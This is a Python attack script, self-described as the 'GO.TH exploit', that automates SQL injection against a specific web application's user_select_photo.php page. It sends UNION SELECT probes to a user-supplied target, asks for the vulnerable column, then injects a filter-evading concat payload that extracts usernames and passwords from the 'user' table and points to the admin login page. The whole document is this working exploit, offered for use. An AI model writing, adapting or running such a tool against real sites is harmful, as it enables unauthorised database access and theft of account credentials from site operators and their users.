#!/usr/bin/python3
import time
import linecache
import string
import sys
if (sys.version_info < (2, 0)):
   raise Exception('The script must be run with python3.x')
import re
import fileinput
import tempfile
from bs4 import BeautifulSoup
from urllib.request import urlopen
import os
os.system("apt install figlet -y")
os.system("figlet GO.TH exploit")
print("""This tool was created by Evilzcd3r

This tool is a private tool for Myanmar Hackers

Any crime will not be respnsible by Coder

!!! Changing the author name doesn't make you CODER !!!

""")
mURL = input("Enter your target ->   ")
x = mURL +"/activity/user_select_photo.php?news_id=26"
if not x.startswith('http://') :
    x = "http://"+x
elif x.startswith('https://'):
    print("Plz don't start with https://")
y = open ("unionselect.txt")
for i in y:
    i = i.strip()
    url = urlopen(x.__add__(i))
    bs = BeautifulSoup(url.read())
    print (bs.h1)
L = int(input("vuln replacer -> "))
payload= x+linecache.getline('unionselect.txt',L )
print ("Payloads => " ,payload )

tf = tempfile.NamedTemporaryFile(suffix=".txt").name
print ("payload file generated => " ,tf)
with open(tf,'w') as f:
    f.write(payload) 
def reading():
    reader = open(tf,'r')
    print(reader.read())
    reader.close()
reading()

fileinputer = fileinput.FileInput(tf,inplace=True)

print ("Generating payloads... ")
print('Enter vuln column !!! ')
replace_input = int(input())
for replacer in fileinputer:
    
    
    if replace_input == 3:
        replacer = replacer.replace('0x3C68313E76756C6E3A33203C2F68313E','/*!50000concaT*/(0x3C68313E,user_name,0x3a,user_pass,0x3C2F68313E)')
    elif replace_input == 1:
        replacer = replacer.replace('0x3C68313E76756C6E3A313C2F68313E',"/*!50000concaT*/(0x3C68313E,user_name,0x3a,user_pass,0x3C2F68313E)")
    elif replace_input == 2:
        replacer = replacer.replace('0x3C68313E76756C6E3A323C2F68313E',"/*!50000concaT*/(0x3C68313E,user_name,0x3a,user_pass,0x3C2F68313E)")
    elif replace_input == 4:
        replacer= replacer.replace("0x3C68313E76756C6E3A34203C2F68313E","/*!50000concaT*/(0x3C68313E,user_name,0x3a,user_pass,0x3C2F68313E)")
    elif replace_input == 5:
        replacer = replacer.replace("0x3C68313E76756C6E3A35203C2F68313E","/*!50000concaT*/(0x3C68313E,user_name,0x3a,user_pass,0x3C2F68313E)")
    elif replace_input == 6:
        replacer =replacer.replace('0x3C68313E76756C6E3A36203C2F68313E',"/*!50000concaT*/(0x3C68313E,user_name,0x3a,user_pass,0x3C2F68313E)")
    elif replace_input == 7:
        replacer = replacer.replace('0x3C68313E76756C6E3A37203C2F68313E',"/*!50000concaT*/(0x3C68313E,user_name,0x3a,user_pass,0x3C2F68313E)")
    elif replace_input == 8:
        replacer = replacer.replace('0x3C68313E76756C6E3A38203C2F68313E',"/*!50000concaT*/(0x3C68313E,user_name,0x3a,user_pass,0x3C2F68313E)")
    elif replace_input == 9:
        replacer = replacer.replace("0x3C68313E76756C6E3A39203C2F68313E","/*!50000concaT*/(0x3C68313E,user_name,0x3a,user_pass,0x3C2F68313E)")
    elif replace_input == 10:
        replacer = replacer.repace("0x3C68313E76756C6E3A3130203C2F68313E","/*!50000concaT*/(0x3C68313E,user_name,0x3a,user_pass,0x3C2F68313E)")
    elif replace_input == 11:
        replacer = replacer.replace("0x3C68313E76756C6E3A3131203C2F68313E","/*!50000concaT*/(0x3C68313E,user_name,0x3a,user_pass,0x3C2F68313E)")
    elif replace_input == 12:
        replacer = replacer.replace("0x3C68313E76756C6E3A31323C2F68313E","/*!50000concaT*/(0x3C68313E,user_name,0x3a,user_pass,0x3C2F68313E)")
    elif replace_input == 13:
        replacer = replacer.replace("0x3C68313E76756C6E3A31333C2F68313E","/*!50000concaT*/(0x3C68313E,user_name,0x3a,user_pass,0x3C2F68313E)")
    elif replace_input == 14:
        replacer = replacer.replace("0x3C68313E76756C6E3A31343C2F68313E","/*!50000concaT*/(0x3C68313E,user_name,0x3a,user_pass,0x3C2F68313E)")
    elif replace_input == 15:
        replacer = replacer.replace("0x3C68313E76756C6E3A31353C2F68313E","/*!50000concaT*/(0x3C68313E,user_name,0x3a,user_pass,0x3C2F68313E)")
    elif replace_input == 16:
        replacer =replacer.replace("0x3C68313E76756C6E3A31363C2F68313E","/*!50000concaT*/(0x3C68313E,user_name,0x3a,user_pass,0x3C2F68313E)")
    elif replace_input == 17:
        replacer = replacer.replace("0x3C68313E76756C6E3A31373C2F68313E","/*!50000concaT*/(0x3C68313E,user_name,0x3a,user_pass,0x3C2F68313E)")
    elif replace_input == 18:
        replacer = replacer.replace("3C68313E76756C6E3A31383C2F68313E","/*!50000concaT*/(0x3C68313E,user_name,0x3a,user_pass,0x3C2F68313E)")
    replacer =  replacer.replace("--","%20from%20user--")
    print(replacer,end='')
   
    
        
reading()

aaf  = open (tf,'r')
for foo in aaf:
   
    target_final = urlopen(foo.rstrip())
    bs2 = BeautifulSoup(target_final.read())
    print (bs2.h1)

print (mURL+"/admin_home.php")


